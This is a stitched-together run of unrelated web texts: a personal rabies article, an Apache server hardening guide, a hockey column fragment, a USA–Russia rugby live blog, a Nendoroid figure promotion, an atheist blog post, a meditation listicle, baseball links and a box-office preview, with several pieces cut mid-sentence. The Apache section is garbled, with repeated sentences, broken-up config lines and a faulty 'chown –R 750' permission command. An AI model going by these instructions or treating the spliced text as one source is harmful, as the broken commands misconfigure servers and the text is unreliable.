This one-two punch is almost 100% effective, provided you get it in time. How fast is "in time"? Nobody really knows. The CDC says that, as long as a bite victim isn't yet symptomatic, they should get the prophylaxis. Dr. Fu said that the window of opportunity can vary in length, depending on how close the bite is to the person's central nervous system. Without post-exposure prophylaxis, rabies is fatal. By the time symptoms--fever, confusion, partial paralysis, difficulty swallowing--appear, it's too late. There's not much doctors can do after that, because they aren't even sure what the virus is doing to you.
"We don't know how rabies kills people. There are some unproven hypotheses, but that's it," Dr. Fu said. "One idea is that, once the infection reaches the neurons in the brain, it blocks the transmission of messages from the brain to the rest of the body. If that's the case, it could explain many of the phenomenon we see in humans and animals, such as end-stage paralysis. That could even be why humans die, because of paralysis of muscles in the heart and lungs."
Given the lack of information and the risk of death, it's not surprising that even a situation like mine, where a bite was extremely unlikely, ended with a referral to a nearby hospital for post-exposure prophylaxis. But, after several conversations between the emergency room doctor and the Minnesota state rabies hotline, I ended up not getting it. Turns out, sneak-attack bites don't really happen to wide-awake, sober, cognitively normal adults in the middle of the day. The chance that I or my husband were actually bitten by the bat before the cats set upon it was so small that, on the advice of medical professionals, we decided that it wasn't worth the pain, potential side-effects, or cost of treatment.
That's right. I am my own death panel.
But on the off-chance that I do come down with symptoms—there've been cases of rabies incubating for up to a year—is there really no hope? Well, sort of. Maybe. Ish. Researchers have been experimenting with a treatment that they think could save the lives of people with full-blown rabies. Called the Milwaukee Protocol, it involves putting the patient into a coma and also giving them antiviral medication. The idea is that the human immune system—with some help from antivirals—can fight off a rabies infection, while the coma limits damage to the brain that seems to be a common cause of rabies death. In 2004, a teenage girl who received this treatment became the first person—ever—to survive symptomatic rabies without having received the vaccine either before being bitten, or before symptoms appeared.
The problem: We still don't know whether the Milwaukee Protocol actually works. It's been tried—and failed—at least 13 times since 2004, according to a 2009 paper published in the journal Current Infectious Disease Reports. There are two reported successes, but in one of those the patient received the vaccine before her she became symptomatic. The other success is very recent and there aren't many details available yet.
So why did the first girl survive? Again, nobody knows. It's possible that either she had a particularly hardcore immune system, or the variant of the virus she contracted was particularly weak, or both. When she was diagnosed, she had rabies antibodies in her cerebral spinal fluid—something that would indicate the presence of rabies in her brain—but doctors weren't able to isolate any actual virus—suggesting that her body was already on its way to winning the fight before the Milwaukee Protocol was used.
Unfortunately, any effort to really conquer rabies may be hampered by the fact that the vaccine works so well, Dr. Fu said.
"Treatments haven't been successful because we don't know what it's doing in the brain," he said. "We need more research but, usually, once you have a good vaccine the funding for the research goes away."
New England Journal of Medicine: Survival After Treatment of Rabies With Induction of Coma
Current Infectious Disease Reports: Update on Rabies Diagnosis and Treatment
Image courtesy Flickr user WilsonB, via CCWeb server security is an important factor, especially if this server lives in the World Wide Web. The Internet is populated with inter-related risks, that are nowadays common : botnets, malwares, trojans, hackers,...Some groups of people have really no barriers and feroce willingness to break into systems using advanced technology. It is therefore important to implement countermeasures and risk mitigations on your Web Server.
How to secure my Web server?
Most Common Attacks Types on Web Servers Apache and their countermeasures. These are especially valid for Apache servers running on Windows and Linux/Unix. In our case, the systems runs In this article, we will see an overview ofand their countermeasures. These are especially valid for Apache servers running onand. In our case, the systems runs Apache HTTPD and risks mitigations measures are done on System Level with preventive actions on the Operating System, and on an Application Level with modifications of the Configuration File options (httpd.conf in /etc/httpd/conf) and the installation of module mod_security.
We have repertoried around 20 measures and tips for securing a web server Apache. Note that these are applicable to the last version of HTTPD 2.4.10. which contains already numerous fixes against security breaches.
Apache server tweaks tips and best practices
Configure Apache Listen for IP and port
We recommand to have Listen directive in httpd.conf configured with a dedicated IP and port number. This specifies the target and avoid some traffic redirection.
Listen 10.10.10.1:80
A More Verbose Apache Log
Httpd logs are often located /var/log/httpd and contains 2 files : an access_log file and an error_log file. We can add more fields in the logs, for example the important SESSION ID and Request Service Time by prototyping the Log Format. Add %T & %sessionID in httpd.conf under LogFormat directive
LogFormat “%h %l %u %t \”
%{sessionID}C
\” \”%r\” %>s %b
%T
” common
More information you can find on Log formats on Apache Web Server Documentation http://httpd.apache.org/docs
Disable Loading Apache unwanted modules
When you install Apache it comes with modules that are not always necessary, so you can disable their loading with httpd.conf by commenting the directive LoadModule.
Examples :
- webdav (Web-based Distributed Authoring and Versioning). Allows FILE property to clients and subject to DOS attacks. Recommandation :
#LoadModule dav_module modules/mod_dav.so
#LoadModule dav_fs_module modules/mod_dav_fs.so
#Include conf/extra/httpd-dav.conf
- Info Module. This module can use.htaccess once loaded
#LoadModule info_module modules/mod_info.so
Remove Server Version Banner
Minimal information exposure is likely to avoid reconnaissance scans, therefore we should remove if possible the banner sent from the Apache in response to HTTP requests.
ServerTokens Prod
ServerSignature Off
ServerSignature Off removes the version message from the generated page for common errors 403, 404, etc..ServerTokens Type=Prod or Minimal defines the content of the Header.
HTTP TRACE TOOLS :
https://addons.mozilla.org/en-US/firefox/addon/firebug/
Disable Directory browsing listing
In order to protect the access to files located in other directories than your Web Server Root Directory, disable browsing and listing from the other directories with the Options directive
None
or
–Indexes
The user will have a Forbidden Error Message on his browser.
<Directory /
var/www/html
>
Options None
Order allow,deny
Allow from all
</Directory>
(or)
<Directory /opt/apache/htdocs>
Options -Indexes
Order allow,deny
Allow from all
</Directory>
Remove Etags from HTTP Headers
With the ETAG header, leaks and inode number which can be used with PCI and File System attacks.
FileETag None
Header unset ETag
Run Apache as Apache user
Apache should not run as root, it should run as a separate user. Create a group apache and a user apache and add lines to httpd.conf
Linux/Unix commands :
#
groupadd apache
#
useradd –G apache apache
#
chown –R /opt/apache
httpd.conf modifications :
User apache
Group apache
Protect binary and configuration files
The defaults permissions for /bin and /etc/httpd/conf are 755 but you may change it to 750 :
#
chown –R 750 bin conf
Apache Override System Settings Protection
In default installation, users can override apache configuration by using.htaccess. You may add AllowOverride to None in the different directories :
<Directory />
AllowOverride None
</Directory>
Limit Apache available HTTP Methods
Most of the time in web applications, you only need HEAD, GET and POST. This can be configured as a Directory Directive. The default methods packed with a fresh apache installation are HTTP 1.1 protocol support many request methods which may not be required and some of them are OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT in HTTP 1.1.
In the D
irectory
Directive,
add
the
following :
<LimitExcept GET POST HEAD>
deny from all
</LimitExcept>
Defines Content Security Policy
Set the following rules in http.conf :
Header set X-Content-Type-Options "nosniff"
Header set X-XSS-Protection "1; mode=block"
Header set X-Frame-Options "SAMEORIGIN"
Header set Strict-Transport-Security "max-age=631138519"
Header unset x-webkit-csp
Header unset x-ob_mode
Disable Trace/Track HTTP Requests
XST or Cross Site Tracing attacks are possible if Trace or Track is enabled in Apache configuration. Cross-Site Scripting (XSS) are then possible to steal cookies for example. Method Not Allowed is the only message back to Trace/Track methods.
TraceEnable off
The
other
thing is
to
make sure that mod_rewrite is loaded
LoadModule rewrite_module "/usr/local/apache/modules/mod_rewrite.so"
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule.* - [F]
Set cookie with HttpOnly and Secure flag
Having correct cookies less vulnerable to XSS attacks needs to set cookie production and use to HttpOnly and Secure Flag. Do the folowing modification of httpd.conf
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
Measure against Clickjacking Attack
Clickjacking
is using user clicks for another purpose that they intent to be used for launching programs that the attackers wants to launch on the server. Ensure m
od_headers.so is enabled
and add
following directive
to h
ttpd.conf
Header always append X-Frame-Options SAMEORIGIN
Disable Server Side Include
Server Side Include (SSI)
allows |
not line the pockets of the BOG.
For Phoenix fans, the ideal run to the cup would include series wins over the hated Ducks, the reviled Red Wings and a Stanley Cup victory in the newly-minted Coyotes-Jets rivalry. Alas, this will not happen this season and cannot happen after realignment. But we can still root for the Coyotes to make a deep run into the playoffs, fill Jobing.com Arena to the rafters, and take the Stanley Cup to Arizona for the summer.
When you finally believe the Edmonton Oilers no longer have a chance at the playoffs (without a trade for a defender, they don't), and want to root for both a small-town, feel-good story AND screw over the NHL Board of Governors, find it in your heart to root for the Phoenix Coyotes, even if it's only for spite.Good morning, and welcome to our coverage of a clash that's already been dubbed the Cold War match, it says here. Didn't the Cold War end 20 years ago? It's almost as irrelevant as the USA's 41-11 win in Tokyo in 2004.
Since then, the USA have registered a 39-22 win in 2010, and added a 32-25 victory earlier this year. Russia are the underdogs as they make their World Cup debut, for sure, and currently have the fear, if their team director Kingsley Jones is to be believed. "A bit of anxiety is a good thing. These guys are champing at the bit at the moment. I'd much prefer that than wrapping themselves in cotton wool."
As for the Americans, coming off the back of their 22-10 defeat to Ireland? "The game is over, done, out of the rear-view mirror," says their coach Eddie O'Sullivan. "We have to get our laser focus back. We need to decompress." Been hanging around the management and leadership section of Barnes & Noble, have we?
Russia: 15-Igor Klyuchnikov; 14-Vladimir Ostroushko, 13-Konstantin Rachkov, 12-Alexey Makovetskiy, 11-Vasily Artemyev, 10-Yury Kushnarev, 9-Alexander Shakirov; 8-Vyacheslav Grachev, 7-Artem Fatakhov, 6-Andrey Garbuzov, 5-Denis Antonov, 4-Alexander Voytov, 3-Ivan Prishchepenko, 2-Vladislav Korshunov (captain), 1-Sergey Popov.
Replacements: 16-Valery Tsnobiladze, 17-Alexander Khrokin, 18-Vladimir Botvinnikov, 19-Adam Byrnes, 20-Victor Gresev, 21-Alexander Yanyushkin, 22-Andrey Kuzin.
USA: 15-Chris Wyles; 14-Takudzwa Ngwenya, 13-Paul Emerick, 12-Andrew Suniula, 11-James Paterson, 10-Roland Suniula, 9-Mike Petri; 8-Nic Johnson, 7-Todd Clever (captain), 6-Louis Stanfill, 5-Hayden Smith, 4-John van der Giessen, 3-Matekitonga Moeakiola, 2-Chris Biller, 1-Mike MacDonald.
Replacements: 16-Phil Thiel, 17-Shawn Pittman, 18-Scott LaValla, 19-Pat Danahy, 20-Tim Usasz, 21-Nese Malifa, 22-Blaine Scully.
Referee: Dave Pearson (England)
Stadium: Stadium Taranaki, New Plymouth.
Kick off: 8.30am BST.
The teams are out. There's a bloke on the pitch playing some frestyle jazz on a large bassoon, in scenes reminiscent of Mulligan and O'Hare's interpretation of Another Day In Paradise. Wonderful. More of this, please. And then it's time for the anthems. A nice understated version of the Star Spangled Banner. Yes, it can be done. And then Gosudarstvenny Gimn Rossiyskoy Federatsii, which bombs along at a fair old lick. All together now: Славься, Отечество наше свободное, Братских народов союз вековой, Предками данная мудрость народная! Славься, страна! Мы гордимся тобой!
The USA are playing in: Blue.
Russia are playing in: RED.
And we're off! Russia get this baby underway. Within 20 seconds, the Russians have charged down a Mike Petri kick in the USA 22, and they're on the attack, bombing towards the line! For a second, it looks like they'll get over for the most spectacular of starts, Artem Fatakhov nearly bombing through after 30 seconds, but he's held up and can't get the ball wide left, where there are spare men. But Russia will get a penalty out of this, saucy American hands getting in the road as the Reds attempt to begin a new phase.
3 min: PENALTY. Russia 3-0 USA. The kick is just to the left of the posts, and Yury Kushnarev makes no mistake. No Jonny Wilkinson he. What a start by the Russians. Nervous? Nah.
5 min: The States string a few passes together in Russian territory, first probing down the right wing, then spraying a couple of raking passes left. Paul Emerick nearly breaks down that wing, but he's held up and the momentum is gone.
8 min: The Americans have responded well to their early setback, and are throwing the ball around nicely. But the Russians aren't giving up too much ground, hitting their opponents with a few big ones. Louis Stanfill takes exception to having his shorts pulled down in the true comedy style, and squares up to a couple of Reds. He's told to calm down by the referee. The States, meanwhile, are penalised for coming in at the side. Kushnarev takes another punt at goal, but this one's well out wide on the left, near the halfway line, and out of his range. The effort dies in front of the posts, but it was dead on target; he knows his range now, and won't be totally unhappy with that.
12 min: PENALTY. Russia 3-3 USA. America are looking dangerous enough down their left wing. John van der Glessen sprays one out to that side, where Emerick and Chris Wyles look to break quickly into Russian territory. Wyles nearly scoots clear, but he's dragged down. Soon enough, it's Russia's turn to be penalised for a handling error, and Wyles strokes a kick between the sticks from a central position, 30-odd yards out.
15 min: Vladimir Ostroushko takes a massive US garryowen and launches an immediate counter attack, tearing straight down the middle. Russia manage to work the ball out right, where Vasily Artemyev nearly releases Konstantin Rachkov down the wing with a clever chip. But the Americans are over to cover, and the danger is gone. "Eddie didn't need Barnes & Noble," writes Robert Lowery, "as based on his interviews while over Ireland he had cleaned out Easons, the Irish book chain. No man has as many ducks lined up in a row. Though based on some other notables like Declan Kidney, I suspect it reflects the affection of the Irish middle-management man in a suit for the game. At least football cliches don't sound like an afternoon course in people management in a motorway hotel conference room."
19 min: CONVERTED TRY! Russia 3-10 USA. Out of nothing, the Americans burst down the left, Wyles throwing a pass inside to Roland Suniula, who cuts further inside and flicks the ball to Mike Petri, tearing straight down the middle. Petri's got just enough space to burst through the Russian defence and reach the line, upon which he plonks the ball down. Wyles can't miss the conversion, and doesn't.
21 min: Russia have two chances to launch dangerous counter attacks, first with men free on the right, then with folk down the left. But both times they're ponderous in the middle, taking an age to decide where to fling the first pass.
23 min: More nonsense on the floor from Russia, and it's another penalty to the US. It's near the halfway line out on the right, and out of range for Wyles, who Wilkinsons it short and left.
26 min: Todd Clever goes on an NFL style sortie down the right, Hayden Smith offloading brilliantly as he falls. Clever is held up, but the pressure is beginning to tell on Russia, and after a couple of phases, their front row collapses in a scrum. Instead of kicking the penalty, the US go for the kill, kicking for the corner. Having sniffed blood, can they get over for a try?
29 min: No, is the answer to that. After 11 phases of ponderous play at the breakdown, the ball's knocked on. Russia immediately gift the States the ball back, but again the US snooze when trying to set up a new phase, and the Russians snaffle the ball away with a determined counter-ruck. After you. No, after you. This is polite rugby.
31 min: It's surely just a matter of time before the US trouble the scoreboard again, though. Almost the entire game is being played out in the Russian 22. Here's another intense period of pressure. Will anything come of this?
33 min: No, although the States should have another three points on the board. Denis Antonov holds onto Wyles on the floor; penalty. Wyles gets up and shanks a dreadful effort wide right of the posts. That was awful.
35 min: Takudzwa Ngwenya sashays at high speed down the right, but can't quite break free of his Russian tormentors. He eventually drops the ball in the gently amusing bar-of-soap style while being weakly tackled. It's not the highest quality game, this, but diverting enough.
37 min: Emerick attempts to release Ngwenya down his wing with a clever reverse pass, but the winger rat-a-tats the ball forward, and the chance to scamper clear is gone.
38 min: Blaine Scully replaces James Paterson, who runs off clutching his ribs.
39 min: More running repairs for the States: Matekitonga Moeakiola has a nasty cut above the eye, and is replaced by Shawn Pittman.
HALF TIME: USA 10-3 Russia. A late drive towards the US tryline, as Russia end the half as they started it. But the ball's ripped from their grasp, and Ngwenya suddenly looks like zipping dangerously up the right from deep. But he meanders into touch, and that's that for the half.
Half-time weather report: It's raining. A lot.
And the teams are out again! What a tempest. It is lashing down all of a sudden. These difficult handling conditions could play out to Russia's advantage, the USA usually of a mind to fling the ball around.
43 min: Ah hold on, the rain's stopped. A fairly bitty start to the half otherwise.
45 min: From the centre, Kushnarev chips down the left, a teaser for Igor Klychnikov to chase after. He can't quite make it to the ball as it skids over the tryline, Ngwenya getting to it first.
48 min: Vladimir Ostroushko is taken down and held on the floor wide on the right, near the halfway line. Yury Kushnarev gives the penalty a rare old belt, and it would have reached despite being an ambitious attempt, but the ball drifts wide left of the posts. Thing is, there's little point kicking for position, as the Russian line out is so inept they're extremely unlikely to get the ball.
52 min: The US attempt to string a few passes together, but it's all a bit cramped out there. Eventually, despite Wyles doing his best to switch play this way and that, a gaggle of blue-shirted players run into each other, a few red shirts pile on, and what looked like turning into a rare phase of expansive rugby turns into a multi-coloured mush.
54 min: Wyles takes a massive up-and-under and bombs down the middle. He chips the ball wide right, forcing Igor Klyuchnikov to claim the ball and slide out of play. From the line out, the US ship the ball into the centre. After a couple of forwards take turns to buy a few yards by getting their heads down and driving forward, Wyles tries to release Emerick with a grubber kick. The move doesn't come off. The ball comes clanking back to the Americans for another phase.
57 min: A slalom straight down the centre by Andrew Suniula nearly ends in a try, but he's held up just in front of the posts. That was marvellous, though. Russia dig in to stem the tide, but yet again the ball's coming straight back at them. Eventually another handling error results in a penalty, 30 yards out to the right of the sticks, but Wyles' kick comes back off the right-hand upright. Unbelievably, after that period of pressure, we're as we were.
60 min: A couple of changes for Russia: Adam Byrnes and Alexander Yanyushkin come on for Denis Antonov and Artem Fatakhov.
62 min: Yet again, Russia hold up the US, slowing the ball almost to a standstill in the breakdown. America shift the ball back to Wyles in the pocket, but his attempt at a drop goal from not much more than 25 yards drifts wide right. The kicking has been pretty poor here, all in all. Not a particularly free-flowing game. It's like watching England play England.
65 min: PENALTY. Russia 3-13 USA. Another handling error in the breakdown. Wyles can't miss this one, it's right in front of the sticks, and he doesn't.
67 min: Ngwenya's handling is awful. He's got an easy Alexander Shakirov kick down the Russian left to deal with, but manages to knock it on. That was such a simple take. It could only have been more embarrassing if he'd let it clank off his teeth. The error gives Russia good field position: the ball's swung out right to Artemyev, but he can't break free, cutting inside, then offloading the ball, which is quickly knocked forward. That was poor from the USA, though, inviting needless pressure onto themselves.
70 min: The US captain Todd Clever, an Andy Carroll lookalike, shows his leadership qualities by trying to stick the nut on Adam Byrnes. The minor brouhaha occurs after Clever is penalised for holding. The game's been played out in a good spirit, though, so all that's doled out is a talking to. Russia will have a penalty from just outside the 22, dead centre. Yury Kushnarev's got to make that.
72 min: But he doesn't. Oh dear. With Russia two scores behind, and time running out, that was a crucial miss.
74 min: Russia are doing their best to pile the pressure on, though. A penalty is kicked right into the corner. What field position! But dearie me, this Russian lineout is beyond useless. Vladislav Korshunov wafts the ball back into play, straight into the arms of John van der Giessen. There goes that danger!
76 min: This is becoming embarrassing for Kushnarev. Another penalty to Russia, another chance to kick to the corner. This one shanks off his boot, though, and sails straight down the pitch and away behind the tryline.
77 min: PENALTY. Russia 6-13 USA. The Americans are giving away a penalty a minute, handling error after handling error. It's another penalty in the centre of the American half, this time 35 yards out. Russia, perhaps wisely, change their kicker, Konstantin Rachkov taking a whack this time. And he skelps a decent effort just inside the right-hand post. This isn't over yet!
79 min: Victor Gresev goes on a determined run down the left, the volume in the stadium rising accordingly. He throws the ball inside, and is hit late by a shoulder charge from Clever. It should be a yellow card, but isn't. Russia set their scrum just outside the 22; they need a try. One last push for the Russians. Can they complete a dramatic comeback?
FULL TIME: Russia 6-13 USA. Nope. The ball's knocked forward, and that's that. The Americans celebrate, the Russians sink to their knees. That was a tough battle: not a whole lot out there in terms of quality, but a real effort by the underdog Russians, who pushed the USA all the way.Hello everyone!! Kahotan here! (@gsc_kahotan)
In the language of flowers, the Japanese camellia means reserved kindness and pride. I often enjoy looking up the meanings of flowers when I see them!
Anyway, today I’m going to be taking a look at…
Nendoroid Mutsuki Kai-II!♥
From the popular browser game ‘Kantai Collection -KanColle-‘ comes a Nendoroid of the first Mutsuki-class destroyer, Mutsuki Kai-II! She comes with three face plates including a standard expression, a combat expression and a half-damaged expression. She also features joints in her hips to better facilitate various different action poses. Various effect parts to display her firing her turrets and torpedoes are included for combat scenes, and she also includes long sleeve parts to recreate her half-damaged appearance as well as a scarf based on her Valentines illustration. Be sure to display her with the previously announced Nendoroid Fubuki Kai-II and Nendoroid Yudachi Kai-II and form an adorable fleet in your collection!
“Are you really that interested in me?”
The first Mutsuki-class destroyer in her upgraded form, Mutsuki Kai-II is joining the Nendoroids! The lovely gradient in her hair, her confident and energetic expression and even the Japanese camellia flower on her ship parts have all been faithfully included! Not to mention that lovely little peek at her stomach too!
Her outfit has also been faithfully reproduced – with her navy-blue jacket.., the moon-shaped accessory on her chest and more!
Here she is displayed with the Nendoroid Yudachi Kai-II! Unfortunately Fubuki Kai-II was off to China for production so I was only able to get a two-shot!
I look forward to displaying them altogether once they are released!
Let’s take a look at all the Nendoroids in the series so far!
How far we have come!!
You can find this complete list of Nendoroids and other KanColle products over on the Kantai Collection -KanColle- page!
But anyway, let’s get back to Nendoroid Mutsuki Kai-II!
As with most of the KanColle Nendoroids before her, she comes complete with turret firing effect parts as well as torpedo effect parts which make for a powerful combat scene!
▲ The fluttering of the ribbon on her chest also adds a nice dynamic feel!
And once she gets into battle, she also might end up in this form!
She comes with a Half-Damaged face plate! ˚‧º·(˚ ˃̣̣̥⌓˂̣̣̥ )‧º·˚
“Nyannya… I should be able to take this amount of damage…!“
Isn’t she just adorable!
I just want to pet her on the head until she feels better when I see this expression! The extra long “moe” sleeves are also a lovely addition! ((´д`●))三((●´д`))
▲ The arm parts are separated here for more articulation and more poses! ♪
The moe sleeves also match up with her standard smiling face plate very nicely! (｡･ω･)ﾉﾞ
▲ You can also remove the ship parts for a more everyday kind of pose! ♡
If you use the half-damaged face plate in place of the combat expression while firing…
You can pose her in a bit more of a timid combat scene!! The lovely thing about Nendoroids is that you can easily recreate your own original scenes like this!! (‘-‘*)(,_,*)(‘-‘*)(,_,*)
Last but not least some seasonal based bonus parts!
A Scarf & Box of Chocolates to recreate her Valentine mode!
“Here are some chocolates from me! Ehehe, enjoy! “
The gentle smiling face together with the cute wrapping of the heart-shaped box shows just how much thought she has put into the gift. ♡
Be sure to add the cute Mutsuki-class destroyer to your collection! ★
Nendoroid Mutsuki Kai-II!
She’ll be up for preorder from tomorrow! ☆
In addition, all purchases of her from the GOODSMILE ONLINE SHOP will also come with a ‘Nendoroid Mutsuki Kai-II’ Special Box Sleeve & Special Nendoroid Base & Clear Ocean Display Sheet as a bonus!
▲ The base is the approx. 8cm x 8cm type. The clear sheet is A4 in size!
Be sure to consider it when preordering! ヽ(*´∀｀)ノ
○+●+○+●+○+●+○+●+○+●+○+●+○+●+○+●+○+●+○+●+○+●+○+●+
Planning Team / Kahotan / Twitter ID：@gsc_kahotan
English Updates: @gsc_kevinMitch Kahle is a good atheist.
In the year since Mitch Kahle moved back to his native Michigan, he has been able to compel Ottawa County to remove a sign bearing Psalm 19:1 from a public park; transform a 48-foot tall cross into an anchor; and convince two school districts to block a minister from holding religious services during the lunch hour at public schools.
I mean, he’s a really good atheist. Look at the reactions he gets.
Kahle is an agent of hate, Brandon Hall told The Detroit News. He’s a belligerent bully who is trying to bring his disturbing, hateful agenda to Grand Haven. … Everybody knows this is a Christian place, not a Muslim place, not a Hindu place, Matt Kooienga, a pastor at Harvest Baptist Church said during the meeting. We don’t have to lock our doors. The reason for that is we’re Christians. How is it that a dirtbag can come into a community and cause so much controversy and destruction? asked Rick Phillips. These carpetbaggers need to be driven from our community.
I don’t see how asking the community to enforce the laws of their state and nation makes him a bully. These small towns tend to get a bit ingrown (trust me, I know), and it’s good to have someone point out that they are part of a larger community, and that their parochial ways may be in conflict with bigger standards.
As for what kind of place it is…nope, it’s not a Christian place. It’s a part of the United States, which is a secular nation. It is part of America, which contains citizens who are Muslim and Hindu. This is the America of a thousand sects, where splitting old religions is not quite enough and we spawn brand new ones, like Mormonism and Scientology. This is the America in which the “nones” are the fastest growing group. This is the America where we have a constitution that says government may not promote or interfere with religion.
I live in a small rural town, too, and it’s true that you don’t really have to lock your doors (we do, anyway), but it’s not because of Christianity. It’s because it’s a small place and everyone knows everyone else, and strangers — especially strangers who are poking around the neighbor’s doors and windows — are going to be regarded with instant suspicion. The Jews and Hindus and Muslims (the few that are living here) are going to be just as attentive and solicitous as the Christians.
And meanwhile, the crimes that do go on routinely, the wife-beatings and drunk driving, are carried on by good white Christian men, who will be given an admonition by the good white Christian police, and their sins might get a side-eye in church on Sunday, but otherwise they’ll be overlooked by every good white Christian pastor enumerating the pleasures of living in a rural paradise.
If they’re going to drive out the destructive carpetbaggers, I guess they must have a plan to return the town to the Indians.
So bravo, Mitch Kahle. Keep giving them hell.Meditation isn’t reserved for Buddhist monks. It is a stress-busting exercise that anyone can benefit from. If you’re a busy parent, meditation could help you stay calm the next time your child throws a tantrum. If you’re an ambitious professional, meditation could help you concentrate on delivering quality work that will impress your clients. If you suffer from anxiety or depression, meditation could ease the burdens that trouble you. Whether you want to meditate for religious reasons, stress management, or productivity enhancement is irrelevant. A moment of silence can serve you in so many ways that it would be silly not to do it. If you’re in need of more convincing, please consider these five surprising benefits of meditation.
1. Meditation calms your mind.
We are surrounded by stressful things. Bad traffic, angry customers, difficult co-workers, unruly children, and financial troubles can unnerve even the best of us. Getting upset by every difficulty you face, however, can become exhausting in a hurry. Even worse, your body’s flight-or-fight response is activated every time you get upset, which could lead to a state of chronic stress if you’re not careful.
It’s estimated that stress plays a role in up to 90% of doctor visits, so you should make your mental health a priority. The next time you get stuck in a long line or traffic jam, take the opportunity to clear your thoughts and focus on deep breathing. There is no point in getting upset by an inconvenience that is beyond your control. Meditation will help you understand that these little things aren’t worth your concern.
2. Meditation boosts your focus.
It’s not easy to concentrate on the task at hand in the age of instant gratification, where people expect immediate responses and constant interruptions are the norm. This lifestyle isn’t conducive for creativity or productivity. It is easier to create art when you get absorbed in the act of creation. How creative do you think you’ll be if you can’t focus on your art for more than a few minutes at a time?
Focus is also essential for work tasks, especially strategic planning that requires you to make decisions based on where you imagine your business will be in several months or years. How accurate do you think your long-term projections will be if your mind is dominated by short-term concerns? Meditation will help you become a better artist and more effective business-owner.
3. Meditation manages your emotions.
Hurtful feelings can eat away at your energy until you lose so much enthusiasm that you resemble a mindless zombie. Remember that all people have been through struggles like business failures, job losses, break-ups, and the loss of a loved one at some point in their life. These troubles, which can feel emotionally devastating at the time you’re going through them, are nothing you can’t overcome.
I can’t claim I handle every struggle effortlessly, but I can say meditation helps me speed up the healing process. When I feel nasty emotions bubbling up, I find it helpful to; dim the lights, close my eyes, sit in a comfortable position, and pretend I am viewing my thoughts as an innocent bystander (instead of an inflicted victim). Ask yourself: “Does this thought serve me?” If not, replace it with a better one. Meditation will help you replace your self-defeating thoughts with empowering ones.
4. Meditation removes your blind-spots.
No one likes to admit their flaws, but you might as well do it, because nobody’s perfect. Pretending that your weaknesses don’t exist is a sure-fire way to set yourself up for dismal failure. In addition, the more a negative habit is repeated, the more it becomes a standard behavior. Most people aren’t mindful enough to realize they have a problem until it’s too late.
It takes more than one beer, cigarette, porno, or poker game to create an addict. These vices typically begin as a rare occasion, but people rarely notice how quickly things intensify until they are trapped by addiction.
You won’t be able to address your faults, weaknesses, or personal demons until you find enough courage to confront them without fear. Meditation will provide you with the distance you need to be brutally honest with yourself.
5. Meditation improves your perspective.
Before you complain about receiving a plate of cold food, remember that 842,000,000 people (or 33% of the world population) are starving. Before you get upset because your living arrangement isn’t “good enough,” remember that 100,000,000 people don’t even have a home.
Please forgive me for getting on a soap box. I don’t say this to mock you or make light of the difficulties you face, but rather to demonstrate that there are people in this world facing struggles that would make yours pale in comparison. Meditation is an opportunity to express gratitude all of the blessings that you have taken for granted.
Meditation can be as brief or as extensive as you would like it to be. I recommend starting with a minute or two and moving up from there. Here are more practical tips to help you begin a meditation habit (even if you’re a total newb).
Love this article? Click here to pass it along on Facebook.
Read More Articles by Daniel Wallen:Yu Darvish had a press conference yesterday, and Drew Davison has notes from it at the S-T.
Jeff Wilson has a story on the Yu-mania, which featured between 100 and 200 people following Darvish everywhere he went yesterday.
T.R. Sullivan has a story on the Darvish drama.
Gil Lebreton has a column on the pressures that Yu Darvish will be facing as the latest Japanese superstar to come to America.
Lyle Spencer has a column on Darvish joining the Rangers.
Ron Washington says that both Yorvit Torrealba and Mike Napoli will get plenty of at bats.
Evan Grant writes that Roy Oswalt's decision to hold off on signing helps the Rangers, who now have more time to trade Koji Uehara or one of their starting pitchers to make room for Oswalt. I still don't understand why the Rangers need to jump through so many hoops to bring Oswalt here right now.
Sullivan writes that the Rangers' catching situation is somewhat unsettled, as it isn't really clear yet who will get the majority of the starts behind the plate.
Derek Holland says that, while all the attention right now is on Yu Darvish, people shouldn't forget about the rest of the team.
Richard Durrett has six items of note from Surprise yesterday.
Davison's notes include Mike Adams being unhappy he doesn't get a chance to close, the catching situation, and pitchers working on their fielding.
Sullivan's notes talk about pitcher defense, Josh Hamilton, and Brad Hawpe.
The S-T has a "Getting to Know" segment with newly signed outfielder Kyle Hudson.In only the second weekend of the summer box office, the first ice-cold front approaches.
“Guardians of the Galaxy Vol. 2” looks to continue its reign over the box office this weekend, but it’s far from the most interesting story. That title goes to “King Arthur: Legend of the Sword,” which is anticipating an opening weekend flop of epic proportions for Warner Bros. and Village Roadshow. Off of a $175 million production budget, not taking into account marketing costs, Guy Ritchie’s take on the medieval legend should make $25 million from over 3,600 locations.
Ritchie has seen box office glory in the past with 2009’s “Sherlock Holmes” ($209 million domestic and $524 million worldwide) and its 2011 sequel, “A Game of Shadows” ($187 million, $545 million). But more recently, the director saw a similar fate with his 2015 outing for Warner Bros., “The Man From U.N.C.L.E.” The film ended its run with nearly $110 million worldwide off a $75 million budget, despite receiving generally positive reviews from critics.
The same cannot be said for “King Arthur,” which was sliced and diced by the critical community, and currently holds a doleful 23% on Rotten Tomatoes. Variety‘s Peter Debruge panned the movie — which tells the story of Arthur who draws the sword Excalibur from the stone and is confronted with its power — as “just a loud, obnoxious parade of flashy set pieces, as one visually busy, belligerent action scene after another marches by, each making less sense than the last, but all intended to overwhelm.”
Related ‘Guardians 2’: Why James Gunn Is Now the Marvel Cinematic Universe’s Biggest Winner
Perhaps some of the inevitable blame for the film’s anticipated draw can be shoved onto its star, Charlie Hunnam, who is best known for his role on FX’s “Sons of Anarchy,” and relatively untested as a movie star. The most thought-provoking point of comparison might be 2013’s “Pacific Rim,” which Hunnam anchored. The big-budget action film was widely considered a domestic bummer ($102 million by the end of its run), but scored overseas, leading to a worldwide total of over $400 million. Warner Bros. and Village Roadshow are most likely hoping for similar international traction since there seems to be little stateside.
